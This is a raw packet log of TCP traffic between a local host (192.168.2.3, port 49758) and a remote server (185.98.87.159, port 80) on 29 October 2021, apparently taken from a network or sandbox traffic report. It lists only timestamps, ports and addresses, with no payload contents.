Oct 29, 2021 20:28:58.856818914 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.856842041 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.856889009 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.856930971 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.856965065 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.856971979 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.857012987 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.857055902 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.857074022 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.860147953 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.907175064 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.907222986 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.907275915 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.907330036 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.907326937 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.907372952 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.907413960 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.907455921 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.907494068 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.907545090 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.907579899 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.907630920 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.907670021 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.907682896 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.907710075 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.907748938 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.907762051 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.907787085 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.907789946 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.907830954 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.907867908 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.907906055 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.907912016 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.907946110 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.907983065 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.907989979 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.908021927 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.908063889 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.908072948 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.908103943 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.908144951 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.908152103 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.908183098 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.908216000 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.908221960 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.908305883 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.908350945 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.908395052 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.908453941 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.908515930 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.908555984 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.908613920 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.909208059 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.909254074 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.909326077 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.910494089 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.910538912 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.910578012 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.910615921 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.910619974 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.910690069 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.910734892 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.910751104 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.910793066 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.910837889 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.910851955 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.910911083 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.910954952 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.910978079 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.910998106 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.911020994 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.911040068 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.911081076 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.911093950 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.911122084 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.911159992 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.911173105 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.911201954 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.911252022 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.913892031 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.913955927 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.914016008 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.963118076 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.963165045 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.963267088 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.963308096 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.963310957 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.963346958 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.963387966 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.963422060 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.963428974 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.963465929 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.963470936 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.963511944 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.963552952 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.963593960 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.963633060 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.963674068 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.963682890 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.963689089 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.963721991 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.963726997 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.963768005 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.963800907 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.963862896 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.963905096 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.963948011 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.963985920 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.964034081 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.964057922 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.964073896 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.964153051 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.964196920 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.964199066 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.964237928 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.964267969 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.964312077 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.964354992 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.964406967 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.964422941 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.964461088 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.964507103 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.964540005 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.964550972 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.964632988 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.964668036 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.964731932 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.964765072 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.964806080 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.964817047 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.964828968 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.964945078 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.965001106 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.965046883 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.965049982 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.965099096 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.965137959 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.965178967 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.965204000 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.965213060 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.965219975 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.965257883 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.965296984 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.965305090 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.965336084 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.965341091 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.965373993 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.965413094 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.965424061 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.965466022 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.965512991 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.967675924 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.967720032 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.967801094 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:59.019251108 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.019296885 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.019335985 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.019376040 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.019417048 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.019422054 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:59.019457102 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.019484997 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:59.019498110 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.019520998 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:59.019546032 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.019587040 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.019627094 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.019645929 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:59.019665956 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.019676924 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:59.019706011 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.019746065 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.019758940 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:59.019783974 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.019824028 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.019861937 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.019879103 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:59.019911051 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.019911051 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:59.019932985 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.019970894 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.019979000 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:59.019994020 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.020046949 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.020061016 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:59.020087957 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.020128012 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.020144939 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:59.020167112 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.020205021 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.020217896 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:59.020282984 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.020335913 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.020373106 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.020394087 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:59.020411968 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.020428896 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:59.020490885 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.020550966 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.020589113 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.020615101 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:59.020627975 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.020644903 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:59.020668983 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.020709991 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.020750046 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.020762920 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:59.020788908 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.020797968 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:59.020829916 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.020878077 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:59.020900965 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.020941019 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.020977974 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.020989895 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:59.021018028 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.021059036 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.021071911 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:59.021100044 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.021140099 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.021177053 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.021202087 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:59.021219015 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.021239996 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:59.021258116 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.021295071 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.021333933 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.021347046 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:59.021373987 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.021387100 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:59.021414995 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.021456003 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.021469116 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:59.021492958 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.021532059 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.021570921 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.021583080 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:59.021609068 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.021626949 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:59.021648884 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.021681070 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.021697044 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:59.021720886 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.021760941 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.021776915 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:59.021800041 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.021837950 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.021856070 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:59.021877050 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.021917105 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.021924019 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:59.021958113 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.021995068 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.022047043 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:59.022053003 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.022094965 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.022130966 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.022154093 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:59.022171021 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.022175074 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:59.022222042 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.022279978 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:59.022283077 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.022330046 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.022368908 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.022384882 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:59.022409916 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.022450924 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.022464037 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:59.022489071 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.022527933 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.022552967 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:59.022566080 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.022604942 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.022641897 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:59.022643089 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.022684097 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.022722960 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.022738934 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:59.022766113 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.022770882 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:59.022804022 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.022844076 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.022882938 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.022897005 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:59.022933960 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.022974014 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.022986889 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:59.023015022 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.023053885 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.023073912 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:59.023093939 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.023097992 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:59.023133993 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.023174047 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.023215055 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.023227930 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:59.023252964 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.023257971 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:59.023334980 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.023376942 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.023391008 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:59.023417950 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.023456097 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.023494959 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.023509026 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:59.023544073 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:59.077174902 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.077215910 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.077248096 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.077290058 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.077290058 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:59.077339888 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.077383995 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.077384949 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:59.077424049 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.077433109 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:59.077469110 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.077526093 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.077526093 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:59.077548981 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.077608109 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:59.077622890 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.077670097 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.077708006 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.077734947 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:59.077747107 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.077786922 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.077837944 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.077863932 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:59.077882051 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:59.077892065 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:59.077919960 CEST	80	49758	185.98.87.159	192.168.2.3
